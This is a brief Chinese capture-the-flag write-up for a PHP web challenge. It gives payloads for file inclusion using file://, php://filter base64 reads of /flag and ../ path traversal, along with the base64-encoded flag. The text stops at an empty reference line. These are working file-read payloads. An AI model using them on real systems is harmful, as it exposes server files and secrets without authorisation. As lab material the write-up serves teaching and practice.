当输入有flag时
利用file协议读取
file:///fl4g
访问ha1x1ux1u.php发现源码
存在文件包含,利用file协议读取flag失败
应该是过滤了file
法一:
可以使用php协议中的filter来读取
?file=php://filter/read=convert.base64-encode/resource=/flag
得base64加密的
TlNTQ1RGe2FkMWYwMmJmLTE2MDEtNDNmOC04YWQ0LWYyZDU1ZmQwNTg1NH0K
解密后得flag
这里也可以使用写入链的方式读取
?file=php://filter/write=convert.base64-encode/resource=/flag
法二:
这里主要是因为不是在index.php中而在别的php文件中,可能会存在遍历
../../../../../../..//flag
可参考: